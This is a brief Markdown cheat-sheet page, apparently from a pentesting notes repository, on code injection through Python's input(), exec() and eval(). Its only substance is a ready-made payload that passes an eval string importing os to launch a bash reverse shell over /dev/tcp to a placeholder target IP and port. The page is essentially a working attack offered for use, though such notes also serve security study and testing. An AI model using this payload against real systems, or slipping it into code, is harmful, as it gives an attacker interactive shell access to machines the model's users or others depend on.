11 lines
208 B
Markdown
11 lines
208 B
Markdown
|
# Code Injection
|
||
|
|
|
||
|
|
* Python's `input()`, `exec()` and `eval()` makes it possible
|
||
|
|
|
||
|
|
## Usage
|
||
|
|
|
||
|
|
* Payload example
|
||
|
|
```python
|
||
|
|
eval("__import__('os').system('bash -i >& /dev/tcp/$TARGET_IP/$TARGET_PORT 0>&1')#")
|
||
|
|
```
|